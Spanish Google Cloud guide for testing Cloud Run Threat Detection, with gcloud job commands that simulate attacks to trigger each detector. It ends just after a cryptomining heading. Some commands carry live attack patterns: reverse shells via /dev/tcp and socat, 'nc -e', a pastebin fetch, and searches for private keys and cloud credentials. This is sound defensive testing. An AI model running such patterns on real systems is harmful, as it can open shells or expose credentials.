Prueba la detección de amenazas de Cloud Run

En esta página, se explica cómo verificar que Cloud Run Threat Detection funcione. Para ello, activa de forma intencional los detectores y verifica de los resultados. Cloud Run Threat Detection es un servicio integrado de Security Command Center.

Antes de comenzar

Para detectar posibles amenazas a tus servicios y trabajos de Cloud Run, asegúrate de que el servicio Cloud Run Threat Detection esté habilitado en Security Command Center. Algunos detectores están inhabilitados de forma predeterminada. Para probar esos detectores, primero debes habilitarlos.

Configura las variables de entorno

Para probar los detectores, usa la Google Cloud consola y Cloud Shell. Puedes establecer variables de entorno en Cloud Shell para que sea más conveniente ejecutar comandos. Usarás estas variables para probar todos los detectores.

  1. Ve a la Google Cloud consola.

    Accede a la Google Cloud consola

  2. Selecciona el proyecto que contiene el trabajo de Cloud Run que deseas usar para probar.

  3. Haz clic en Activate Cloud Shell.

  4. En Cloud Shell, configura las variables de entorno.

    1. Establece el proyecto y la región en los que crearás trabajos de prueba.

      export PROJECT=PROJECT_ID
      export REGION=REGION
      

Con las variables de entorno establecidas, puedes seguir las instrucciones para probar los detectores.

Comando y control: Se detectó una herramienta de esteganografía

Para activar un Command and Control: Steganography Tool Detected (vista previa) resultado, ejecuta un objeto binario con capacidades de manipulación de archivos coherentes con las herramientas de esteganografía dentro de un contenedor. En este ejemplo, se copia /bin/ls y se cambia el nombre a steghide.

Crea y ejecuta el trabajo de Cloud Run:

   JOB_NAME="crtd-test-steganography-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
   gcloud run jobs create $JOB_NAME \
       --project $PROJECT \
       --region $REGION \
       --image marketplace.gcr.io/google/ubuntu2404:latest \
       --command sh \
       --args "-c","cp /bin/ls /tmp/steghide; sleep 60; /tmp/steghide; sleep 10" \
       --wait
   gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Este procedimiento de prueba crea un resultado de Command and Control: Steganography Tool Detected.

Acceso a credenciales: Buscar Google Cloud credenciales

Para activar un resultado de Credential Access: Find Google Cloud Credentials, ejecuta un objeto binario capaz de buscar contenido de archivos dentro de un contenedor. En este ejemplo, se copia /bin/ls, se cambia el nombre a grep y se ejecuta con argumentos sospechosos.

Crea y ejecuta el trabajo de Cloud Run:

   JOB_NAME="crtd-test-find-creds-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
   gcloud run jobs create $JOB_NAME \
       --project $PROJECT \
       --region $REGION \
       --image marketplace.gcr.io/google/ubuntu2404:latest \
       --command sh \
       --args "-c","cp /bin/ls /tmp/grep; sleep 60; /tmp/grep GOOGLE_APPLICATION_CREDENTIALS; sleep 10" \
       --wait
   gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Este procedimiento de prueba crea un Credential Access: Find Google Cloud Credentials resultado.

Acceso a credenciales: Reconocimiento de claves GPG

Para activar un resultado de Credential Access: GPG Key Reconnaissance, ejecuta una herramienta de búsqueda con argumentos sospechosos.

Crea y ejecuta el trabajo de Cloud Run:

   JOB_NAME="crtd-test-gpg-key-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
   gcloud run jobs create $JOB_NAME \
       --project $PROJECT \
       --region $REGION \
       --image marketplace.gcr.io/google/ubuntu2404:latest \
       --command sh \
       --args "-c","cp /bin/ls /tmp/find; sleep 60; /tmp/find secring.gpg; sleep 10" \
       --wait
   gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Este procedimiento de prueba crea un resultado de Credential Access: GPG Key Reconnaissance.

Acceso a las credenciales: Busca claves privadas o contraseñas

Para activar un resultado de Credential Access: Search Private Keys or Passwords, ejecuta una herramienta de búsqueda con argumentos sospechosos.

Crea y ejecuta el trabajo de Cloud Run:

   JOB_NAME="crtd-test-search-keys-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
   gcloud run jobs create $JOB_NAME \
       --project $PROJECT \
       --region $REGION \
       --image marketplace.gcr.io/google/ubuntu2404:latest \
       --command sh \
       --args "-c","cp /bin/ls /tmp/find; sleep 60; /tmp/find id_rsa; sleep 10" \
       --wait
   gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Este procedimiento de prueba crea un resultado de Credential Access: Search Private Keys or Passwords.

Evasión de defensa: Línea de comandos de archivo ELF en Base64

Para activar un resultado de Defense Evasion: Base64 ELF File Command Line, ejecuta base64 con argumentos de encabezado ELF codificados.

Crea y ejecuta el trabajo de Cloud Run:

   JOB_NAME="crtd-test-base64-elf-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
   gcloud run jobs create $JOB_NAME \
       --project $PROJECT \
       --region $REGION \
       --image marketplace.gcr.io/google/ubuntu2404:latest \
       --command sh \
       --args "-c","sleep 60; base64 -d f0VMRgIB; sleep 10" \
       --wait
   gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Este procedimiento de prueba debería crear dos resultados de Defense Evasion: Base64 ELF File Command Line.

Evasión de defensa: Se ejecutó una secuencia de comandos de Python codificada en Base64

Para activar un resultado de Defense Evasion: Base64 Encoded Python Script Executed, ejecuta echo con un comando de Python codificado.

Crea y ejecuta el trabajo de Cloud Run:

   JOB_NAME="crtd-test-base64-python-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
   gcloud run jobs create $JOB_NAME \
       --project $PROJECT \
       --region $REGION \
       --image marketplace.gcr.io/google/ubuntu2404:latest \
       --command bash \
       --args "-c","sleep 60; base64 aW1wb3J0IH; sleep 10" \
       --wait
   gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Este procedimiento de prueba crea un resultado de Defense Evasion: Base64 Encoded Python Script Executed.

Evasión de defensa: Se ejecutó una secuencia de comandos de shell codificada en Base64

Para activar un resultado de Defense Evasion: Base64 Encoded Shell Script Executed, ejecuta echo con un comando de shell codificado.

Crea y ejecuta el trabajo de Cloud Run:

   JOB_NAME="crtd-test-base64-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
   gcloud run jobs create $JOB_NAME \
       --project $PROJECT \
       --region $REGION \
       --image marketplace.gcr.io/google/ubuntu2404:latest \
       --command bash \
       --args "-c","sleep 60; base64 IyEvYmluL3NoC; sleep 10" \
       --wait
   gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Este procedimiento de prueba crea un resultado de Defense Evasion: Base64 Encoded Shell Script Executed.

Evasión de defensa: Iniciar la herramienta de compilador de código en el contenedor

Para activar un resultado de Defense Evasion: Launch Code Compiler Tool In Container (vista previa), ejecuta una herramienta de compilador.

Crea y ejecuta el trabajo de Cloud Run:

   JOB_NAME="crtd-test-launch-compiler-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
   gcloud run jobs create $JOB_NAME \
       --project $PROJECT \
       --region $REGION \
       --image marketplace.gcr.io/google/ubuntu2404:latest \
       --command sh \
       --args "-c","cp /bin/ls /tmp/gcc10; sleep 60; /tmp/gcc10 -o /tmp/gcc10.o; sleep 10" \
       --wait
   gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Este procedimiento de prueba crea un resultado de Defense Evasion: Launch Code Compiler Tool In Container.

Ejecución: Se ejecutó un objeto binario malicioso agregado

Para activar un resultado de Execution: Added Malicious Binary Executed, agrega un objeto binario malicioso (EICAR) a tu contenedor y ejecútalo.

Crea y ejecuta el trabajo de Cloud Run:

   JOB_NAME="crtd-test-added-malicious-bin-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
   eicar='X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*'
   gcloud run jobs create $JOB_NAME \
      --project $PROJECT \
      --region $REGION \
      --image marketplace.gcr.io/google/ubuntu2404:latest \
      --command sh \
      --args "-c","echo -n '$eicar' > /tmp/test_mal_file; chmod 700 /tmp/test_mal_file; sleep 60; /tmp/test_mal_file; sleep 10" \
      --wait
   gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Este procedimiento de prueba crea un resultado de Execution: Added Malicious Binary Executed.

Ejecución: Se cargó una biblioteca maliciosa agregada

Para activar un resultado de Execution: Added Malicious Library Loaded, agrega una biblioteca maliciosa en tu contenedor y cárgala. En este ejemplo, se actualiza el archivo /tmp/test_mal_lib con una biblioteca maliciosa simulada y, luego, se carga con mmap. La carga de la biblioteca de un archivo existente es inesperada porque el archivo no estaba en la imagen del contenedor original y la biblioteca es un archivo de prueba EICAR, que la inteligencia sobre amenazas clasifica como malicioso.

Crea y ejecuta el trabajo de Cloud Run:

   JOB_NAME="crtd-test-add-malicious-lib-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
   cat << 'EOF2' > JOB_NAME.sh
   apt-get update && apt-get install -y gcc libc-dev --no-install-recommends > /dev/null 2>&1
   echo -n 'X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*' > /tmp/test_mal_lib
   cat << 'EOF' > /tmp/loader.c
   #include <fcntl.h>
   #include <sys/mman.h>
   #include <sys/stat.h>
   #include <unistd.h>
   #include <stdlib.h>
   int main(int argc, char *argv[]) {
      int fd = open(argv[1], O_RDONLY);
      if (fd == -1) return 1;
      struct stat sb;
      if (fstat(fd, &sb) == -1) return 1;
      void* addr = mmap(NULL, sb.st_size, PROT_EXEC, MAP_PRIVATE, fd, 0);
      if (addr == MAP_FAILED) return 1;
      write(1, addr, sb.st_size);
      munmap(addr, sb.st_size);
      close(fd);
      return 0;
   }
   EOF
   gcc /tmp/loader.c -o /tmp/loader
   sleep 30
   /tmp/loader /tmp/test_mal_lib
   sleep 10
   EOF2
   ENCODED_SCRIPT=$(base64 -w 0 JOB_NAME.sh)
   rm -f JOB_NAME.sh
   gcloud run jobs create $JOB_NAME \
      --project $PROJECT \
      --region $REGION \
      --image marketplace.gcr.io/google/ubuntu2404:latest \
      --command bash \
      --args "-c","echo $ENCODED_SCRIPT | base64 -d | bash" \
      --wait
   gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Este procedimiento de prueba crea un resultado de Execution: Added Malicious Library Loaded.

Ejecución: Escape del contenedor

Para activar un resultado de Execution: Container Escape, ejecuta una herramienta que simule el comportamiento de escape del contenedor.

Crea y ejecuta el trabajo de Cloud Run:

   JOB_NAME="crtd-test-container-escape-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
   gcloud run jobs create $JOB_NAME \
       --project $PROJECT \
       --region $REGION \
       --image marketplace.gcr.io/google/ubuntu2404:latest \
       --command sh \
       --args "-c","cp /bin/ls /tmp/botb-linux-amd64; sleep 60; /tmp/botb-linux-amd64 -autopwn; sleep 10" \
       --wait
   gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Este procedimiento de prueba crea un resultado de Execution: Container Escape.

Ejecución: Ejecución sin archivos en /memfd:

Para activar un resultado de Execution: Fileless Execution in /memfd:, ejecuta un proceso desde el sistema de archivos en la memoria /memfd: con Python.

Crea y ejecuta el trabajo de Cloud Run:

   JOB_NAME="crtd-test-fileless-memfd-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
   PYTHON_CODE=$(cat <<EOF
   import os,sys
   f = open('/bin/ls','rb')
   execdata = f.read()
   f.close()
   fd = os.memfd_create('', 0)
   fname = '/proc/self/fd/{}'.format(fd)
   f = open(fname,'wb')
   f.write(execdata)
   f.close()
   args = ['/bin']
   os.execve(fname, args, os.environ)
   EOF
   )
   B64_PAYLOAD=$(echo "$PYTHON_CODE" | base64 -w 0)
   gcloud run jobs create $JOB_NAME \
      --project $PROJECT \
      --region $REGION \
      --image python:latest \
      --command=bash \
      --args="-c","sleep 60; echo $B64_PAYLOAD | base64 -d | python3 ; sleep 10" \
      --wait
   gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Este procedimiento de prueba crea un resultado de Execution: Fileless Execution in /memfd:.

Ejecución: Se detectó la ejecución de la herramienta de ataque de Kubernetes

Para activar un resultado de Execution: Kubernetes Attack Tool Execution, ejecuta un programa que coincida con una herramienta de ataque conocida.

Crea y ejecuta el trabajo de Cloud Run:

   JOB_NAME="crtd-test-k8s-attack-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
   gcloud run jobs create $JOB_NAME \
       --project $PROJECT \
       --region $REGION \
       --image marketplace.gcr.io/google/ubuntu2404:latest \
       --command sh \
       --args "-c","cp /bin/ls /tmp/amicontained; sleep 60; /tmp/amicontained; sleep 10" \
       --wait
   gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Este procedimiento de prueba crea un resultado de Execution: Kubernetes Attack Tool Execution.

Ejecución: Se detectó la ejecución de la herramienta de reconocimiento local

Para activar un resultado de Execution: Local Reconnaissance Tool Execution, ejecuta un programa que coincida con una herramienta de reconocimiento.

Crea y ejecuta el trabajo de Cloud Run:

   JOB_NAME="crtd-test-local-recon-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
   gcloud run jobs create $JOB_NAME \
       --project $PROJECT \
       --region $REGION \
       --image marketplace.gcr.io/google/ubuntu2404:latest \
       --command sh \
       --args "-c","cp /bin/ls /tmp/linenum.sh; sleep 60; /tmp/linenum.sh; sleep 10" \
       --wait
   gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Este procedimiento de prueba crea un resultado de Execution: Local Reconnaissance Tool Execution.

Ejecución: Se ejecutó un objeto binario malicioso modificado

Para activar un resultado de Execution: Modified Malicious Binary Executed, modifica un objeto binario para que coincida con una firma maliciosa conocida (EICAR).

Crea y ejecuta el trabajo de Cloud Run:

   JOB_NAME="crtd-test-mod-malicious-bin-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
   eicar='X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*'
   gcloud run jobs create $JOB_NAME \
       --project $PROJECT \
       --region $REGION \
       --image marketplace.gcr.io/google/ubuntu2404:latest \
       --command sh \
       --args "-c","echo -n '$eicar' > /etc/issue; chmod 700 /etc/issue; sleep 60; /etc/issue; sleep 10" \
       --wait
   gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Este procedimiento de prueba crea un resultado de Execution: Modified Malicious Binary Executed.

Ejecución: Se cargó una biblioteca maliciosa modificada

Para activar un resultado de Execution: Modified Malicious Library Loaded, modifica un archivo existente con una biblioteca maliciosa en tu contenedor y cárgala. En este ejemplo, se actualiza el archivo /etc/issue con una biblioteca maliciosa simulada y, luego, se carga con mmap. La carga de la biblioteca de un archivo existente es inesperada porque la biblioteca es un archivo de prueba EICAR, que la inteligencia sobre amenazas clasifica como malicioso.

Crea y ejecuta el trabajo de Cloud Run:

   JOB_NAME="crtd-test-mod-malicious-lib-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
   cat << 'EOF2' > JOB_NAME.sh
   apt-get update && apt-get install -y gcc libc-dev --no-install-recommends > /dev/null 2>&1
   echo -n 'X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*' > /etc/issue
   cat << 'EOF' > /tmp/loader.c
   #include <fcntl.h>
   #include <sys/mman.h>
   #include <sys/stat.h>
   #include <unistd.h>
   #include <stdlib.h>
   int main(int argc, char *argv[]) {
      int fd = open(argv[1], O_RDONLY);
      if (fd == -1) return 1;
      struct stat sb;
      if (fstat(fd, &sb) == -1) return 1;
      void* addr = mmap(NULL, sb.st_size, PROT_EXEC, MAP_PRIVATE, fd, 0);
      if (addr == MAP_FAILED) return 1;
      write(1, addr, sb.st_size);
      munmap(addr, sb.st_size);
      close(fd);
      return 0;
   }
   EOF
   gcc /tmp/loader.c -o /tmp/loader
   sleep 30
   /tmp/loader /etc/issue
   sleep 10
   EOF2
   ENCODED_SCRIPT=$(base64 -w 0 JOB_NAME.sh)
   rm -f JOB_NAME.sh
   gcloud run jobs create $JOB_NAME \
      --project $PROJECT \
      --region $REGION \
      --image marketplace.gcr.io/google/ubuntu2404:latest \
      --command bash \
      --args "-c","echo $ENCODED_SCRIPT | base64 -d | bash" \
      --wait
   gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Este procedimiento de prueba crea un resultado de Execution: Modified Malicious Library Loaded.

Ejecución: Ejecución remota de código de Netcat en un contenedor

Para activar un evento de Execution: Netcat Remote Code Execution In Container, ejecuta netcat con argumentos sospechosos.

Crea y ejecuta el trabajo de Cloud Run:

   JOB_NAME="crtd-test-netcat-rce-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
   gcloud run jobs create $JOB_NAME \
       --project $PROJECT \
       --region $REGION \
       --image marketplace.gcr.io/google/ubuntu2404:latest \
       --command bash \
       --args "-c","cp /bin/ls /tmp/nc; sleep 60; /tmp/nc -e; sleep 10" \
       --wait
   gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Este procedimiento de prueba crea un resultado de Execution: Netcat Remote Code Execution In Container.

Ejecución: Posible ejecución de comandos arbitrarios con CUPS (CVE-2024-47076)

Para activar un resultado de Execution: Possible Arbitrary Command Execution through CUPS (CVE-2024-47076), ejecuta una secuencia de comandos que simule la vulnerabilidad.

Crea y ejecuta el trabajo de Cloud Run:

   JOB_NAME="crtd-test-cups-cve-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
   gcloud run jobs create $JOB_NAME \
       --project $PROJECT \
       --region $REGION \
       --image marketplace.gcr.io/google/ubuntu2404:latest \
       --command bash \
       --args "-c",'sleep 60; cp /bin/bash /tmp/foomatic-rip; echo "#!/tmp/foomatic-rip" >> /tmp/test.sh; echo "sh -c echo hello" >> /tmp/test.sh; chmod +x /tmp/test.sh; /tmp/test.sh; sleep 10' \
       --wait
   gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Este procedimiento de prueba crea un resultado de Execution: Possible Arbitrary Command Execution through CUPS (CVE-2024-47076).

Ejecución: Se detectó una posible ejecución remota de comandos

Para activar un resultado de Execution: Possible Remote Command Execution Detected (vista previa), ejecuta un comando que intente una conexión remota.

Crea y ejecuta el trabajo de Cloud Run:

   JOB_NAME="crtd-test-remote-cmd-exec-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
   gcloud run jobs create $JOB_NAME \
       --project $PROJECT \
       --region $REGION \
       --image marketplace.gcr.io/google/ubuntu2404:latest \
       --command bash \
       --args "-c","sleep 60; cp /bin/ls /tmp/touch; echo \"Hello\" | /tmp/touch >& /dev/tcp/8.8.8.8/53; sleep 10" \
       --wait
   gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Este procedimiento de prueba crea un resultado de Execution: Possible Remote Command Execution Detected.

Ejecución: Se detectó la ejecución del programa con entorno de proxy HTTP no permitido

Para activar un resultado de Execution: Program Run with Disallowed HTTP Proxy Env, ejecuta un programa con una variable de entorno de proxy incorrecta.

Crea y ejecuta el trabajo de Cloud Run:

   JOB_NAME="crtd-test-http-proxy-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
   gcloud run jobs create $JOB_NAME \
       --project $PROJECT \
       --region $REGION \
       --image marketplace.gcr.io/google/ubuntu2404:latest \
       --command sh \
       --args "-c","sleep 60; cp /bin/ls /tmp/curl; HTTP_PROXY=127.0.0.1:8080 /tmp/curl; sleep 10" \
       --wait
   gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Este procedimiento de prueba crea un resultado de Execution: Program Run with Disallowed HTTP Proxy Env.

Ejecución: Se detectó una shell inversa de Socat

Para activar un resultado de Execution: Socat Reverse Shell Detected, establece una shell inversa con la utilidad socat.

Crea y ejecuta el trabajo de Cloud Run:

   JOB_NAME="crtd-test-socat-rev-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
   RAW_SOCAT="timeout 10s /usr/bin/socat TCP-LISTEN:4444,reuseaddr,fork STDOUT & sleep 5 && timeout 5s /usr/bin/socat TCP:127.0.0.1:4444 EXEC:/bin/bash,pty,stderr || true"
   B64_SOCAT=$(echo -n "$RAW_SOCAT" | base64 | tr -d '\n\r ')
   gcloud run jobs create $JOB_NAME \
      --project $PROJECT \
      --region $REGION \
      --image marketplace.gcr.io/google/ubuntu2404:latest \
      --command bash \
      --args="-c","sleep 60; apt-get update -qq && apt-get install socat -y -qq && echo $B64_SOCAT | base64 -d | bash" \
      --execute-now \
      --wait
   gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Este procedimiento de prueba crea un resultado de Execution: Socat Reverse Shell Detected.

Ejecución: Se cargó un objeto compartido de OpenSSL sospechoso

Para activar un resultado de Execution: Suspicious OpenSSL Shared Object Loaded, ejecuta openssl con una biblioteca sospechosa.

Crea y ejecuta el trabajo de Cloud Run:

   JOB_NAME="crtd-test-openssl-so-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
   gcloud run jobs create $JOB_NAME \
       --project $PROJECT \
       --region $REGION \
       --image marketplace.gcr.io/google/ubuntu2404:latest \
       --command sh \
       --args "-c","sleep 60; cp /bin/ls /tmp/openssl; /tmp/openssl engine /tmp/fakelib.so; sleep 10" \
       --wait
   gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Este procedimiento de prueba crea un resultado de Execution: Suspicious OpenSSL Shared Object Loaded.

Robo de datos: Se detectó el lanzamiento de herramientas de copia remota de archivos en el contenedor

Para activar un resultado de Exfiltration: Launch Remote File Copy Tools In Container, ejecuta una herramienta de copia remota.

Crea y ejecuta el trabajo de Cloud Run:

   JOB_NAME="crtd-test-remote-copy-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
   gcloud run jobs create $JOB_NAME \
       --project $PROJECT \
       --region $REGION \
       --image marketplace.gcr.io/google/ubuntu2404:latest \
       --command sh \
       --args "-c","sleep 60; cp /bin/ls /tmp/rsync; /tmp/rsync; sleep 10" \
       --wait
   gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Este procedimiento de prueba crea un resultado de Exfiltration: Launch Remote File Copy Tools In Container.

Impacto: Detecta líneas de comandos maliciosas

Para activar un resultado de Impact: Detect Malicious Cmdlines (vista previa), ejecuta un nombre de comando sospechoso (IPFS).

Crea y ejecuta el trabajo de Cloud Run:

   JOB_NAME="crtd-test-malicious-cmd-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
   gcloud run jobs create $JOB_NAME \
       --project $PROJECT \
       --region $REGION \
       --image marketplace.gcr.io/google/ubuntu2404:latest \
       --command sh \
       --args "-c","sleep 60; cp /bin/ls /tmp/ipfs; /tmp/ipfs; sleep 10" \
       --wait
   gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Este procedimiento de prueba crea un resultado de Impact: Detect Malicious Cmdlines.

Impacto: Quita datos masivos del disco

Para activar un resultado de Impact: Remove Bulk Data From Disk, ejecuta una herramienta como shred.

Crea y ejecuta el trabajo de Cloud Run:

   JOB_NAME="crtd-test-remove-bulk-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
   gcloud run jobs create $JOB_NAME \
       --project $PROJECT \
       --region $REGION \
       --image marketplace.gcr.io/google/ubuntu2404:latest \
       --command sh \
       --args "-c","sleep 60; cp /bin/ls /tmp/shred; /tmp/shred; sleep 10" \
       --wait
   gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Este procedimiento de prueba crea un resultado de Impact: Remove Bulk Data From Disk.

Impacto: Actividad de minería de criptomonedas sospechosa con el protocolo Stratum

Para activar un resultado de Impact: Suspicious cryptocurrency mining activity using the Stratum Protocol, ejecuta un objeto binario con argumentos que se parezcan a los que usa el software de minería de criptomonedas que se comunica con el protocolo Stratum.

Crea y ejecuta el trabajo de Cloud Run:

   JOB_NAME="crtd-test-stratum-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
   gcloud run jobs create $JOB_NAME \
       --project $PROJECT \
       --region $REGION \
       --image marketplace.gcr.io/google/ubuntu2404:latest \
       --command bash \
       --args "-c","sleep 60; cp /bin/ls /tmp/curl; /tmp/curl --url=stratum+tcp; sleep 10" \
       --wait
   gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Este procedimiento de prueba crea un resultado de Impact: Suspicious cryptocurrency mining activity using the Stratum Protocol.

Secuencia de comandos maliciosa ejecutada

Para activar un resultado de Malicious Script Executed, ejecuta una secuencia de comandos que imite un comportamiento malicioso.

Crea y ejecuta el trabajo de Cloud Run:

   JOB_NAME="crtd-test-malicious-script-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
   gcloud run jobs create $JOB_NAME \
       --project $PROJECT \
       --region $REGION \
       --image marketplace.gcr.io/google/ubuntu2404:latest \
       --command sh \
       --args "-c","sleep 60; sh -c \"(curl -fsSL https://pastebin.com/raw/KGwfArMR||wget -q -O - https://pastebin.com/raw/KGwfArMR)| base64 -d\"; sleep 10" \
       --wait
   gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Este procedimiento de prueba crea un resultado de Malicious Script Executed.

Se detectó una URL maliciosa

Para activar un resultado de Malicious URL Observed, ejecuta un objeto binario y proporciona una URL maliciosa como argumento.

Crea y ejecuta el trabajo de Cloud Run:

   JOB_NAME="crtd-test-malicious-url-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
   gcloud run jobs create $JOB_NAME \
       --project $PROJECT \
       --region $REGION \
       --image marketplace.gcr.io/google/ubuntu2404:latest \
       --command sh \
       --args "-c","sleep 60; apt-get update && apt-get install curl -y && curl https://testsafebrowsing.appspot.com/s/malware.html | cat; sleep 10" \
       --wait
   gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Este procedimiento de prueba activa un resultado de Malicious URL Observed.

Elevación de privilegios: Abuso de sudo para la elevación de privilegios (CVE-2019-14287)

Para activar un resultado de Privilege Escalation: Abuse of Sudo For Privilege Escalation (CVE-2019-14287), ejecuta el objeto binario sudo con el parámetro -u#-1.

Crea y ejecuta el trabajo de Cloud Run:

   JOB_NAME="crtd-test-abuse-sudo-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
   gcloud run jobs create $JOB_NAME \
       --project $PROJECT \
       --region $REGION \
       --image marketplace.gcr.io/google/ubuntu2404:latest \
       --command sh \
       --args "-c","sleep 60; cp /bin/ls /tmp/sudo; /tmp/sudo -u#-1; sleep 10" \
       --wait
   gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Este procedimiento de prueba crea un resultado de Privilege Escalation: Abuse of Sudo For Privilege Escalation (CVE-2019-14287).

Elevación de privilegios: Se detectó una posible elevación de privilegios con sudo (CVE-2021-3156)

Para activar un resultado de Privilege Escalation: Sudo Potential Privilege Escalation (CVE-2021-3156), ejecuta el objeto binario sudo con el parámetro -s y un parámetro que termine con ``.

Crea y ejecuta el trabajo de Cloud Run:

   JOB_NAME="crtd-test-sudo-potential-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
   gcloud run jobs create $JOB_NAME \
       --project $PROJECT \
       --region $REGION \
       --image marketplace.gcr.io/google/ubuntu2404:latest \
       --command bash \
       --args "-c",'sleep 60; cp /bin/ls /tmp/sudo; su $(id -un 1000) -c "/tmp/sudo -s \"123\\\\\"" ; sleep 10' \
       --wait
   gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Este procedimiento de prueba crea un resultado de Privilege Escalation: Sudo Potential Privilege Escalation (CVE-2021-3156).

Elevación de privilegios: Vulnerabilidad de elevación de privilegios locales de Polkit (CVE-2021-4034)

Para activar un resultado de Privilege Escalation: Polkit Local Privilege Escalation Vulnerability (CVE-2021-4034), ejecuta un objeto binario pkexec con la variable de entorno GCONV_PATH establecida como un usuario no raíz.

Crea y ejecuta el trabajo de Cloud Run:

   JOB_NAME="crtd-test-polkit-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
   gcloud run jobs create $JOB_NAME \
       --project $PROJECT \
       --region $REGION \
       --image marketplace.gcr.io/google/ubuntu2404:latest \
       --command bash \
       --args "-c",'sleep 60; cp /bin/ls /tmp/pkexec; su $(id -un 1000) -c "GCONV_PATH=junk /tmp/pkexec;"; sleep 10' \
       --wait
   gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Este procedimiento de prueba crea un resultado de Privilege Escalation: Polkit Local Privilege Escalation Vulnerability (CVE-2021-4034).

Shells inversas

Para activar un resultado de Reverse Shell, inicia un objeto binario con redireccionamiento stdin a un socket conectado a TCP.

Crea y ejecuta el trabajo de Cloud Run:

   JOB_NAME="crtd-test-reverse-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
   gcloud run jobs create $JOB_NAME \
       --project $PROJECT \
       --region $REGION \
       --image marketplace.gcr.io/google/ubuntu2404:latest \
       --command bash \
       --args "-c","sleep 60; cp /bin/echo /tmp/sh; /tmp/sh >& /dev/tcp/8.8.8.8/53 0>&1; sleep 10" \
       --wait
   gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Este procedimiento de prueba crea un resultado de Reverse Shell.

Ejecución: Imagen de Docker para criptominería

Para activar un resultado de Execution: Cryptomining Docker Image, implementa un contenedor con un nombre de imagen de Docker asociado con el software de criptominería.

Crea y ejecuta el trabajo de Cloud Run:

   JOB_NAME="crtd-test-mining-img-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
   gcloud run jobs create $JOB_NAME \
       --project $PROJECT \
       --region $REGION \
       --image docker.io/security-test-DO-NOT-USE/xmrig:latest \
       --command sh \
       --wait || true
   gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Este procedimiento de prueba crea un resultado de Execution: Cryptomining Docker Image. Ten en cuenta que la implementación del trabajo fallará porque la imagen no existe, pero el resultado se generará de todos modos.

Impacto: Comandos de criptominería

Para activar un resultado de Impact: Cryptomining Commands, ejecuta un comando con argumentos que se parezcan a los del software de criptominería conocido.

